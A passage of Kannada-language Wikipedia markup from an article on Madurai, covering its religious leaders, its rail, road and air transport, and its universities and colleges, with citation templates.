ಈದ್ಗಾ ಮೈದಾನದಲ್ಲಿ ನಡೆಯುವ [[ಈದ್‌ ಉಲ್‌-ಫಿತರ್‌]] ಮತ್ತು[[ಈದ್‌ ಅಲ್‌-ಅದಾ]]ಗಳ ಸಾಮೂಹಿಕ ಪ್ರಾರ್ಥನೆಗಳ ಮುಂದಾಳತ್ವ ವಹಿಸುತ್ತಾರೆ. ಇಷ್ಟೇ ಅಲ್ಲದೇ, [[ಇಸ್ಲಾಮಿನ]] [[ಮುಹರ್ರಮ್‌]] ತಿಂಗಳಲ್ಲಿ ನಡೆಸಲಾಗುವ ಸುನ್ನಿ ಮುಸ್ಲಿಮರ 23 ದಿನಗಳ [[ಆಷುರಾ]] ಧಾರ್ಮಿಕ ಕೂಟದ ಮುಂದಾಳತ್ವವನ್ನೂ ಅವರೇ ವಹಿಸುತ್ತಾರೆ. ಮಧುರೈನಲ್ಲಿ ಬಹುಪಾಲು ಮುಸ್ಲಿಮ್‌ ವಿವಾಹಗಳನ್ನು ವಿಧಿಪೂರ್ವಕವಾಗಿ ನಡೆಸಿಕೊಡುವುದಲ್ಲದೇ, ಆ ನಂತರ ಬರಬಹುದಾದ ಸಮಸ್ಯೆಗಳಿಗೆ ಪರಿಹಾರವನ್ನೂ ಅವರು ನೀಡುತ್ತಾರೆ. ಸೂಕ್ತ ದರ್ಗಾಗಳಲ್ಲಿ ನಡೆಸಲಾಗುವ ಬಹಳಷ್ಟು ಝಿಕ್ರ್‌ ಮಜ್ಲಿಗಳು ಮತ್ತು ಉರುಸ್‌ ಉತ್ಸವಗಳನ್ನು ಖಾಜಿಯಾರ್‌‌ ಅಥವಾ ಖಾಜಿಯಾರ್‌ ಕುಟುಂಬದ ಇತರೆ ಮೌಲ್ವಿಗಳ ಮುಂದಾಳತ್ವದಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತದೆ. === ಆರ್ಚ್‌ ಬಿಷಪ್‌ === ಮಧುರಾದ ಆರ್ಚ್ ಬಿಷಪ್‌ರ ಆಡಳಿತದ ಐತಿಹ್ಯವು ಸುಮಾರು '''70 ವರ್ಷಗಳಷ್ಟು''' ಹಳೆಯದು ಹಾಗೂ ಮಧುರೈನ ಆರ್ಚ್‌‌ ಬಿಷಪ್ಪರನ್ನು ಮಧುರೈನಲ್ಲಿರುವ [[ರೋಮನ್‌ ಕ್ಯಾಥೋಲಿಕ್‌]] [[ಕ್ರೈಸ್ತರ]] ಮುಖಂಡರಾಗಿ ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. ಮಧುರಾದ ಆರ್ಚ್‌ ಬಿಷಪ್ಪರ ಪ್ರಾಂತ್ಯವನ್ನು 1938ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಹಾಗೂ, 1950ರಲ್ಲಿ ಅದನ್ನು ಮಧುರೈನ ಆರ್ಚ್‌ ಬಿಷಪ್ಪರ ಪ್ರಾಂತ್ಯವೆಂದು ಮರುನಾಮಕರಣ ಮಾಡಲಾಯಿತು. [[ದಿಂಡಿಗಲ್‌]], [[ಕೊಟ್ಟಾರ್‌]], [[ಪಲಯಂಕೊಟ್ಟೈ]], [[ಶಿವಗಂಗೆ/ಶಿವಗಂಗಾ]], [[ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿ]] ಮತ್ತು [[ತೂತುಕುಡಿ/ಟ್ಯೂಟಿಕಾರಿನ್‌]]ಗಳ ಸಹಾಯಕ ಬಿಷಪ್‌ರು ಮಧುರೈ ಬಿಷಪ್ಪರ ವ್ಯಾಪ್ತಿಗೊಳಪಡುತ್ತಾರೆ <ref>{{cite web|author=David M. Cheney |url=http://www.catholic-hierarchy.org/diocese/dmadu.html |title=Madurai (Archdiocese) |publisher=[Catholic-Hierarchy] |date= |accessdate=2009-09-23}}</ref>. ಮಧುರೈನ ಆರ್ಚ್‌ ಬಿಷಪ್ಪರ ಆಡಳಿತದ ವಂಶಾವಳಿಯು ಮಧುರೈನ 1ನೇ ಆರ್ಚ್‌ಬಿಷಪ್‌ ಜಾನ್‌ ಪೀಟರ್‌ ಲಿಯೋನಾರ್ಡ್‌ರಿಂದ ಆರಂಭವಾಗುತ್ತದೆ. ಮಧುರೈನ ನಾಲ್ಕನೇ ಆರ್ಚ್‌ ಬಿಷಪ್‌ ಆಗಿದ್ದ ಬಿಷಪ್‌ ಮಾರಿಯಾನಸ್‌ ಆರೋಕ್ಯ/ಗ್ಯಸ್ವಾಮಿಯವರು 1990ರ ದಶಕದ ಕೊನೆಯಲ್ಲಿ ದಕ್ಷಿಣ ತಮಿಳುನಾಡು ಕೋಮುಗಲಭೆಗಳ ಬೇಗುದಿಯಿಂದ ಹೊತ್ತಿ ಉರಿಯುತ್ತಿದ್ದಾಗ ಆಧೀನಂ ಹಾಗೂ ಖಾಜಿಯಾರ್‌ಗಳ ಜೊತೆಗೂಡಿ ಮಧುರೈನಲ್ಲಿನ ಶಾಂತತೆಯನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲು ಶ್ರಮಿಸಿದ್ದರು. ಬಿಷಪ್‌ ಪೀಟರ್‌ ಫರ್ನ್ಯಾಂಡೋರವರು ಮಧುರೈನ 5ನೇ ಆರ್ಚ್‌ ಬಿಷಪ್‌ ಆಗಿದ್ದಾರೆ. ಬಿಷಪ್‌ ಕ್ರಿಸ್ಟೋಫರ್‌ ಅಸಿರ್‌‌ರು, ಮಧುರೈನ C.S.I. ಕ್ರೈಸ್ತರ ಮುಖಂಡತ್ವ ಹೊಂದಿದ CSIನ ಮಧುರೈ-ರಾಮ್‌ನಾಡ್‌ ಬಿಷಪ್‌ ಆಡಳಿತ ಪ್ರಾಂತ್ಯದ ಆರ್ಚ್‌ ಬಿಷಪ್‌ ಆಗಿದ್ದಾರೆ. == ಸಾರಿಗೆ == === ರೈಲು ಸಾರಿಗೆ === [[ಚಿತ್ರ:Madurai Rly Station.jpg|thumb|right|ಮಧುರೈ ಜಂಕ್ಷನ್‌]] ಇಲ್ಲಿನ ರೈಲ್ವೇ ನಿಲ್ದಾಣ ರಾಷ್ಟ್ರದಲ್ಲಿನ ಅತ್ಯಂತ ಕಾರ್ಯನಿರತ ಜನನಿಬಿಡ ನಿಲ್ದಾಣವಾಗಿರುವುದಲ್ಲದೇ, ಗಣಕೀಕೃತ ಮುಂಗಡ ಕಾದಿರಿಸಿರುವಿಕೆಯ ಕೌಂಟರ್‌ಗಳನ್ನು ಹೊಂದಿದೆ. [[ದಕ್ಷಿಣ ರೈಲ್ವೇ]]ಯ ಅತ್ಯುತ್ತಮ ನಿರ್ವಹಣೆಯ ನಿಲ್ದಾಣವಾಗಿ ಅನೇಕ ಬಾರಿ ಮಧುರೈ ವಿಭಾಗವು ಪ್ರಶಸ್ತಿ ಗಳಿಸಿದೆ.<ref>{{cite news|title=Elegant ambience|url=http://www.hinduonnet.com/thehindu/mp/2004/10/16/stories/2004101600330100.htm|publisher=The Hindu|date=October 16, 2004|accessdate=2007-03-09|archive-date=2007-10-17|archive-url=https://web.archive.org/web/20071017024320/http://hinduonnet.com/thehindu/mp/2004/10/16/stories/2004101600330100.htm|url-status=dead}}</ref> ಮಧುರೈ ಜಂಕ್ಷನ್‌ನ ರೈಲು ನಿಲ್ದಾಣದ ಸಂಕೇತವು '''MDU''' . [[ಚೆನ್ನೈ]], [[ನಾಗರ್‌ಕೋಯಿಲ್‌]], [[ಕನ್ಯಾಕುಮಾರಿ]], [[ತಿರುಚೆಂಡೂರ್‌]], [[ವಿಲ್ಲುಪುರಂ]], [[ಕೊಯಮತ್ತೂರು]], [[ತೆಂಕಸಿ]], [[ರಾಮೇಶ್ವರಂ]], [[ತೂತುಕುಡಿ]], [[ಬೆಂಗಳೂರು]] (ಮೈಸೂರು exp & ಮುಂಬಯಿ CST exp ಮೂಲಕ), [[ಮೈಸೂರು]], [[ತಿರುವನಂತಪುರಂ]], [[ಮುಂಬಯಿ]] (ಮುಂಬಯಿ CST exp ಮೂಲಕ), [[ಪುಣೆ]] (ಲೋಕಮಾನ್ಯ ತಿಲಕ್‌ exp ಮೂಲಕ), [[ಅಹಮದಾಬಾದ್‌]], [[ತಿರುಪತಿ]], [[ಹೈದರಾಬಾದ್]]‌(RMM OKHA EXPRES ಮೂಲಕ), [[ದೆಹಲಿ]] (ತಿರುಕ್ಕುರಳ್‌ ಮತ್ತು ತಮಿಳುನಾಡು ಸಂಪರ್ಕ ಕ್ರಾಂತಿ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌‌ ಮೂಲಕ), ಮತ್ತು [[ಕೋಲ್ಕತಾ]] (ಕೇಪ್‌ ಹೌರಾ exp ಮೂಲಕ)ಗಳೂ ಸೇರಿದಂತೆ ಇದು ಅನೇಕ ಭಾರತೀಯ ನಗರಗಳು ಹಾಗೂ ಪಟ್ಟಣಗಳಿಗೆ ಸಂಪರ್ಕಿತವಾಗಿದೆ<ref>{{cite web|url=http://erail.in |title=Indian Railways Time Tables, PNR, Route, Fares, Arrivals/Departures, Running Status - eRail.in (Better Way To Search Trains) |publisher=eRail.in |date= |accessdate=2009-09-23}}</ref>. === ರಸ್ತೆ ಸಾರಿಗೆ === [[ಚಿತ್ರ:Ellish Flyover2.jpg|thumb|right|ಎಲ್ಲಿಸ್‌ ನಗರ್‌ ಸೇತುವೆ]] ಮಧುರೈ ಅನೇಕ ಪ್ರಮುಖ ಬಸ್‌ ನಿಲ್ದಾಣಗಳನ್ನು ಹೊಂದಿದೆ: ಇದು ಮಾಟ್ಟುಥವನಿ (ಉತ್ತರ), ಪಾಲಂಗನಥಂ (ದಕ್ಷಿಣ), [[ಅರಪ್ಪಾಲಯಂ]] (ಪಶ್ಚಿಮ), ಪೆರಿಯಾರ್‌ (ಕೇಂದ್ರ) ಮತ್ತು ಅಣ್ಣಾ ಬಸ್‌‌ ನಿಲ್ದಾಣಗಳಲ್ಲಿನ (ಪೂರ್ವ) ಮಧುರೈ ಇಂಟೆಗ್ರೇಟೆಡ್‌ ಬಸ್‌ ಟರ್ಮಿನಸ್‌ (MIBT) ಸೇವೆಯಾಗಿ ಲಭ್ಯವಿದೆ. MIBTಯಿಂದ, ದಕ್ಷಿಣ ಭಾರತದ ಎಲ್ಲೆಡೆ ದಿನವಿಡೀ ಬಸ್‌ ಸಂಚಾರವಿರುತ್ತದೆ. ಅರಪ್ಪಾಲಯಂ ಬಸ್‌ನಿಲ್ದಾಣದಿಂದ, ದಕ್ಷಿಣ [[ತಮಿಳುನಾಡಿ]]ನ ಸ್ಥಳಗಳಾದ ಥೇಣಿ,ಕೊಯಮತ್ತೂರು, ತಿರುಪುರ್‌‌, ಈರೋಡ್‌, [[ಸೇಲಂ]]ಗಳಿಗೆ ಹೋಗುವ ಬಸ್‌ಗಳು ಲಭ್ಯವಿರುತ್ತದೆ ಹಾಗೂ ಪ್ರಮುಖ ಮಹಾನಗರಗಳಿಗೆ ಹೋಗುವ ಖಾಸಗಿ ಬಸ್‌ಗಳು ಹಾಗೂ ನಗರ ಸಾರಿಗೆ ಬಸ್‌ಗಳು ಮಾತ್ರವೇ ಪೆರಿಯಾರ್‌ ಬಸ್‌ ನಿಲ್ದಾಣದಿಂದ ಹೊರಡುತ್ತವೆ. ಅಣ್ಣಾ ಬಸ್‌ನಿಲ್ದಾಣ ಮತ್ತು ಪಾಲಂಗನಥಂ ನಿಲ್ದಾಣಗಳು ಸದ್ಯಕ್ಕೆ ಸೇವೆ ನೀಡುತ್ತಿಲ್ಲ. ನಗರ ಸಾರಿಗೆ ಬಸ್‌ಗಳಲ್ಲದೇ, ತ್ರಿಚಕ್ರಗಳಿರುವ, ಕಪ್ಪು ಮತ್ತು ಹಳದಿ ಬಣ್ಣದ ಆಟೋಗಳು ಎಂದು ಕರೆಯಲ್ಪಡುವ [[ಆಟೋ-ರಿಕ್ಷಾಗಳು]] ನಗರದ ಒಳಗಿನ ಸಂಚಾರಕ್ಕೆ ಲಭ್ಯವಿರುತ್ತವೆ. MIBT ನಿಲ್ದಾಣದಲ್ಲಿ ಪೂರ್ವ-ಪಾವತಿ ಆಟೋ ಕೌಂಟರ್‌ ಇದ್ದು ಅಲ್ಲಿ ಪ್ರಯಾಣಿಕರು ಗಮ್ಯಸ್ಥಳದ ಮೇಲೆ ಆಧಾರಿತವಾಗಿ ನಿಶ್ಚಿತ ಬಾಡಿಗೆ ಮತ್ತು ಆಟೋ-ಶುಲ್ಕ ತೆತ್ತು ಪ್ರಯಾಣಿಸಬಹುದು. ಮಧುರೈ ಕೆಳಕಂಡ ಪ್ರಮುಖ ರಾಷ್ಟ್ರೀಯ ಹೆದ್ದಾರಿಗಳಿಗೆ ಸಂಪರ್ಕ ಹೊಂದಿದೆ : NH 7 : (ಉತ್ತರ-ದಕ್ಷಿಣ ಕಾರಿಡಾರ್‌‌ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌ವೇ) [[ಬೆಂಗಳೂರು]] – [[ಸೇಲಂ]] – [[ದಿಂಡಿಗಲ್‌]] – ಮಧುರೈ – [[ತಿರುನಲ್ವೇಲಿ]] – [[ಕನ್ಯಾಕುಮಾರಿ]] NH 45B : [[ಟ್ರಿಚಿ/ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿ]] – ಮಧುರೈ – [[ತೂತುಕುಡಿ]] NH 49 : ಮಧುರೈ – [[ರಾಮೇಶ್ವರಂ]] NH 49 Extn/ವಿಸ್ತೃತ : ಮಧುರೈ – [[ಥೇಣಿ]] – [[ಬೋದಿ/ಡಿ]] – [[ಕೊಚ್ಚಿ/ನ್‌]] ಮಧುರೈ ನಗರಕ್ಕೆ ಅನೇಕ ಕಡೆಗಳಲ್ಲಿ ಸಂಪರ್ಕ ಹೊಂದಲು ವೈಗೈ ನದಿಯ ಮೇಲೆ ಸೇತುವೆಗಳನ್ನು ಕಟ್ಟಲಾಗಿದೆ. ನಗರದೊಳಗೆ ವಾಹನದಟ್ಟಣೆಯನ್ನು ಕಡಿಮೆ ಮಾಡಲು ಮೇಲುರಸ್ತೆಗಳನ್ನು ಕಟ್ಟಲಾಗುತ್ತಿದೆ. [[ಚೆನ್ನೈ]] ಮತ್ತು [[ಬೆಂಗಳೂರು]]ಗಳಿಗೆ ನಾಲ್ಕು ಪಥದ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌/ವಾಯುವೇಗದ ಹೆದ್ದಾರಿಗಳ ಲಭ್ಯತೆಯು ಮಧುರೈಗೆ ರಸ್ತೆ ಮೂಲಕ ಉತ್ತಮ ಸಂಪರ್ಕ ಕಲ್ಪಿಸಿದೆ. === ವಾಯುಯಾನ/ಸಾರಿಗೆ === [[ಚಿತ್ರ:Air Deccan Madurai airport.jpg|thumb|right|ವಿಮಾನನಿಲ್ದಾಣದಲ್ಲಿ ಏರ್‌ ಡೆಕ್ಕನ್‌‌]] [[ಮಧುರೈ ವಿಮಾನನಿಲ್ದಾಣ]]ವು ಮಧುರೈ ರೈಲ್ವೆನಿಲ್ದಾಣದಿಂದ ಸರಿಸುಮಾರು 9 ಕಿಲೋಮೀಟರ್‌ಗಳಷ್ಟು ದೂರವಿರುವುದಲ್ಲದೇ, ಅಲ್ಲಿಂದ [[ಚೆನ್ನೈ]], [[ಮುಂಬಯಿ]] ಮತ್ತು [[ಬೆಂಗಳೂರು]]ಗಳಂತಹಾ ಪ್ರಮುಖ ಭಾರತೀಯ ನಗರಗಳಿಗೆ [http://www.airportmadurai.com/mduairport/FlightInformation/Departure/madurai-airport.aspx?m=109&amp;mm=112 11 ದೈನಂದಿನ ಹಾರಾಟಗಳು]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} ಲಭ್ಯವಿವೆ. ಚೆನ್ನೈ ಮೂಲಕ [[ಹೈದರಾಬಾದ್‌]], [[ಪುಣೆ]], [[ಗೋವಾ]] ಮತ್ತು [[ಅಹಮದಾಬಾದ್‌]]ಗಳಿಗೆ ಸಹಾ ಹಾರಾಟ ಕಲ್ಪಿಸುತ್ತದೆ. [http://www.airportmadurai.com ಮಧುರೈ ವಿಮಾನನಿಲ್ದಾಣ] {{Webarchive|url=https://www.webcitation.org/6DpcVka0H?url=http://www.airportmadurai.com/ |date=2013-01-21 }} ದಲ್ಲಿ ಸೇವೆ ನೀಡುತ್ತಿರುವ ವಿಮಾನಸಂಸ್ಥೆಗಳೆಂದರೆ [[ಜೆಟ್‌ ಏರ್‌ವೇಸ್‌]], [[ಏರ್‌ ಡೆಕ್ಕನ್‌]], [[ಪ್ಯಾರಾಮೌಂಟ್‌ ಏರ್‌ವೇಸ್]]‌‌, [[ಸ್ಟಾರ್‌ ಏವಿಯೇಷನ್‌]] (ಆರಂಭಿಸಲಿರುವ) ಮತ್ತು [[ಇಂಡಿಯನ್‌ ಏರ್‌ಲೈನ್ಸ್]]‌‌. ಮಧುರೈನಿಂದ [[ಕೊಲೊಂಬೋ]], [[ಸಿಂಗಪೂರ್‌]] ಮತ್ತು ಕೊಲ್ಲಿ ದೇಶಗಳಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಹಾರಾಟಗಳನ್ನು ಭವಿಷ್ಯದಲ್ಲಿ ಆರಂಭಿಸಲು ಪ್ರಸ್ತಾವ ಸಲ್ಲಿಸಲಾಗಿದೆ. ಅತ್ಯಂತ ಸಮೀಪವಿರುವ ಅಂತರರಾಷ್ಟ್ರೀಯ ವಿಮಾನ ನಿಲ್ದಾಣವೆಂದರೆ ಮಧುರೈನಿಂದ 130&nbsp;km ದೂರವಿರುವ [[ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿಯ ಅಂತರರಾಷ್ಟ್ರೀಯ ವಿಮಾನನಿಲ್ದಾಣ]]. ಮಧುರೈನ ವಿಮಾನನಿಲ್ದಾಣದ ಸಂಕೇತವು IXM ಆಗಿದೆ. {| class="wikitable" |- ! ಮಧುರೈನಿಂದ ಹೊರಡುವ ವಿಮಾನಯಾನ ! ಗಮ್ಯಸ್ಥಳ |- | ಇಂಡಿಯನ್‌ ಏರ್‌‌ಲೈನ್ಸ್‌ | ಚೆನ್ನೈ, ಮುಂಬಯಿ |- | ಪ್ಯಾರಾಮೌಂಟ್‌ ಏರ್‌ವೇಸ್‌ | ಚೆನ್ನೈ, ಬೆಂಗಳೂರು, ಅಹಮದಾಬಾದ್‌, ಗೋವಾ, ಕೊಚ್ಚಿ/ನ್‌,ತಿರುವನಂತಪುರಂ, ಪುಣೆ, ಹೈದರಾಬಾದ್‌, ಕೊಲ್ಕೋತಾ, ದೆಹಲಿ |- | ಜೆಟ್‌ ಏರ್‌ವೇಸ್‌ / ಜೆಟ್‌ ಕನೆಕ್ಟ್‌‌ | ಚೆನ್ನೈ |- | ಏರ್‌ ಡೆಕ್ಕನ್‌ (ಕಿಂಗ್‌ಫಿಷರ್‌) | ಚೆನ್ನೈ , ಬೆಂಗಳೂರು |- | ಸ್ಟಾರ್‌ ಏವಿಯೇಷನ್‌ (ಆರಂಭಿಸಲಿರುವ) | ಚೆನ್ನೈ |} == ಶಿಕ್ಷಣ == [[ಚಿತ್ರ:TCE Madurai.JPG|thumb|140px|ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ಮಧುರೈ .]] ಮಧುರೈ ನಗರವು ಸಾಕ್ಷರತೆ ಹಾಗೂ ಮಾನವ ಅಭಿವೃದ್ಧಿ ಸೂಚ್ಯಂಕಗಳಲ್ಲಿ ರಾಜ್ಯದ ಸರಾಸರಿಗಿಂತ ಹೆಚ್ಚಿನ ಸಾಮರ್ಥ್ಯ ತೋರಿದೆ. [[ಮಧುರೈ ಕಾಮರಾಜ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯ]]ವು ಮಧುರೈನಲ್ಲಿದೆ. ಈ ವಿಶ್ವವಿದ್ಯಾಲಯವು ದೂರಶಿಕ್ಷಣ ವ್ಯವಸ್ಥೆಯ ಪರಿಕಲ್ಪನೆಯನ್ನು [[ಭಾರತ]]ದಾದ್ಯಂತ ಹರಡುವಲ್ಲಿ ಅಗ್ರಪ್ರವರ್ತಕವಾಗಿತ್ತು. ಈ ವಿಶ್ವವಿದ್ಯಾಲಯಕ್ಕೆ "ಉತ್ಕೃಷ್ಟ ಸಾಧನೆಯ ಸಾಮರ್ಥ್ಯವಿರುವ ವಿಶ್ವವಿದ್ಯಾಲಯ"ದ ಸ್ಥಾನಮಾನ ನೀಡಲಾಗಿದೆ <ref>{{cite web|url= http://www.mkudde.org/aboutuniv.php |title= Madurai Kamaraj University official website| accessdate = 2008-12-25}}</ref>. ನಗರವು (1954ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ) [[ಮಧುರೈ ವೈದ್ಯಕೀಯ ಮಹಾವಿದ್ಯಾಲಯ]] ಎಂಬ ವೈದ್ಯಕೀಯ ಮಹಾವಿದ್ಯಾಲಯ, ಕೃಷಿ ಮಹಾವಿದ್ಯಾಲಯ ಹಾಗೂ ಸಂಶೋಧನಾ ಸಂಸ್ಥೆ, ಕಾನೂನು ವಿದ್ಯಾಲಯ ಮತ್ತು ಅನೇಕ ತಾಂತ್ರಿಕ ಮತ್ತು ಕಲಾ ಹಾಗೂ ವಿಜ್ಞಾನ ಮಹಾವಿದ್ಯಾಲಯಗಳನ್ನು ಹೊಂದಿದೆ. ಅಲ್ಲಿನ [http://www.aravind.org/amrf/index.asp ಅರವಿಂದ್‌‌ ನೇತ್ರ ಸಂಶೋಧನಾ ಸಂಸ್ಥೆ] {{Webarchive|url=https://web.archive.org/web/20091228191508/http://www.aravind.org/amrf/index.asp |date=2009-12-28 }} ಯು [[ತಳಿಶಾಸ್ತ್ರ]],[[ರೋಗರಕ್ಷಾಶಾಸ್ತ್ರ]],[[ನೇತ್ರಶಾಸ್ತ್ರ]], [[ಜೀವವಿಜ್ಞಾನ ಶಾಸ್ತ್ರಗಳು]], ಮಾನವ ಸಂಸ್ಕೃತಿ ಮತ್ತು ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನಗಳು ಹಾಗೂ [[ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನ]]ಗಳಂತಹಾ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಮಧುರೈ ಕಾಮರಾಜ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯ, Dr. MGR ವೈದ್ಯಕೀಯ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು [[ಭಾರತೀಯ ತಂತ್ರಜ್ಞಾನ ಸಂಸ್ಥೆ ಮದ್ರಾಸ್‌]]ನಂತಹಾ ವಿಶ್ವವಿದ್ಯಾಲಯಗಳ ಸಹಯೋಗದೊಂದಿಗೆ Ph.D ಅಧ್ಯಯನಗಳನ್ನು ಆರಂಭಿಸಿದೆ. [[ಲಂಡನ್‌]] ಮತ್ತು [[USA]]ಗಳಲ್ಲಿರುವ ಸಂಶೋಧನಾ ಸಹಭಾಗಿಗಳನ್ನು ಈ ಅಧ್ಯಯನವು ಹೊಂದಿದೆ. ಮಧುರೈನ (1957ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ) [[ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]]ವು [[ತಮಿಳುನಾಡಿನ]] ಅತ್ಯುತ್ತಮ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಮಧುರೈನಲ್ಲಿ ಅನೇಕ ಪ್ರತಿಷ್ಠಿತ ಶಾಲೆಗಳು, ತಾಂತ್ರಿಕ ವಿದ್ಯಾಲಯಗಳು/ಪಾಲಿಟೆಕ್ನಿಕ್‌ಗಳು ಹಾಗೂ [[ಔದ್ಯಮಿಕ ತರಬೇತಿ ಸಂಸ್ಥೆ]]ಗಳೂ (ITIಗಳು) ಇವೆ. 1856ರಲ್ಲಿ<ref>{{cite web |url=http://maduracollege.org/college_profile.php |title=Welcome to The Madura College - Over 120 Years |publisher=Maduracollege.org |date= |accessdate=2009-09-23 |archive-date=2009-11-03 |archive-url=https://web.archive.org/web/20091103111708/http://maduracollege.org/college_profile.php |url-status=dead }}</ref> ಜಿಲ್ಲಾ ಶಾಲೆಯಾಗಿ ಸ್ಥಾಪಿತವಾಗಿದ್ದ ಮಧುರಾ ಮಹಾವಿದ್ಯಾಲಯವು 120 ವರ್ಷಗಳಷ್ಟು ಹಳೆಯದು. [[ಮಧುರೈನ ದ ಅಮೇರಿಕನ್‌ ಕಾಲೇಜ್‌]] ಭಾರತದ ಹಳೆಯ ಮಹಾವಿದ್ಯಾಲಯಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. 1881ರಲ್ಲಿ ಇದನ್ನು ಅಮೇರಿಕದ ಕ್ರೈಸ್ತ ಮಿಷನರಿಗಳು ಸ್ಥಾಪಿಸಿದರು. ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ಕಲೆ ಮತ್ತು ವಿಜ್ಞಾನ ಮಹಾವಿದ್ಯಾಲಯವೂ ಸಹಾ (1949ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ) ಮತ್ತೊಂದು ಹಳೆಯ ಸಂಸ್ಥೆಯಾಗಿದೆ. [[ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ಸ್ಕೂಲ್‌ ಆಫ್‌ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್‌]] (1962ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ ಹಾಗೂ TSM ಎಂದು ದಕ್ಷಿಣಭಾರತದಲ್ಲಿ ಖ್ಯಾತವಾದ) ಎಂಬುದು ನಿರ್ವಹಣಾ ಅಧ್ಯಯನಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಅತ್ಯುತ್ತಮ ಸಂಸ್ಥೆಯಾಗಿದೆ. ಇತರ ಗಮನಾರ್ಹ ಮಹಾವಿದ್ಯಾಲಯಗಳೆಂದರೆ K.L.N. ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ರಾಜಾ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ಸೇತು ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, [[ವಿಕ್ರಮ್‌‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]], SACS M.A.V.M.M ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ, ವೇಲಮ್ಮಾಳ್‌‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ ಮತ್ತು P.T.R ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯಗಳು. ಮಧುರೈನಲ್ಲಿನ 1965ರಿಂದ ಇರುವ K.K.ನಗರದ M.S.S.ವಕ್ಫ್‌ ಮಂಡಳಿ ಮಹಾವಿದ್ಯಾಲಯ, ಮತ್ತು ನಾಗಮಲೈನ S.V.N ಮಹಾವಿದ್ಯಾಲಯಗಳು ಖ್ಯಾತ ಸಂಸ್ಥೆಗಳಾಗಿವೆ. ನಗರದಲ್ಲಿ ಗಮನಾರ್ಹ ಸಂಖ್ಯೆಯ ಹೋಟೆಲ್‌ ನಿರ್ವಹಣೆ ಹಾಗೂ ಆಹಾರ ಪೂರೈಕೆಯ<ref>{{cite web|url= http://www.maduraidirectory.com/education/cnh_colleges.php |title= Madurai directory| accessdate = 2009-03-22}}</ref> ಸಂಸ್ಥೆಗಳಿವೆ. ಮಧುರಾ ಮಹಾವಿದ್ಯಾಲಯ (ಸ್ವಾಯತ್ತ)ವು ಮಧುರೈನ ಪ್ರಾಚೀನ ಮಹಾವಿದ್ಯಾಲಯಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. [[ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]], [[ವಿಕ್ರಮ್‌‌ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]] ಮತ್ತು KLN ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯಗಳು ಸಂಶೋಧನಾ ವ್ಯವಸ್ಥೆಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸುವಲ್ಲಿ ಮುಂಚೂಣಿಯಲ್ಲಿವೆಯಲ್ಲದೇ ಅಂತರರಾಷ್ಟ್ರೀಯ ತಾಂತ್ರಿಕ ಸಂಸ್ಥೆಗಳಾದ ನ್ಯಾಷನಲ್‌ ಇನ್‌ಸ್ಟ್ರುಮೆಂಟ್ಸ್‌‌<ref>{{cite web |url= http://www.hindu.com/2008/11/20/stories/2008112054410500.htm |title= National Instruments opens its first training academy in the world in Madurai |accessdate= 2008-12-24 |archive-date= 2009-01-22 |archive-url= https://web.archive.org/web/20090122090858/http://hindu.com/2008/11/20/stories/2008112054410500.htm |url-status= dead }}</ref>, Intel<ref>{{cite web |url=http://www.hindu.com/edu/2007/07/30/stories/2007073050490800.htm |title=Intel to aid engineering curriculum development |accessdate=2008-12-31 |archive-date=2008-11-05 |archive-url=https://web.archive.org/web/20081105155618/http://www.hindu.com/edu/2007/07/30/stories/2007073050490800.htm |url-status=dead }}</ref>, Oracle<ref>{{cite web|url=http://www.oracle.com/global/in/education/maps/oracle_wdp.html|title=INstitutions with Oracle Tie 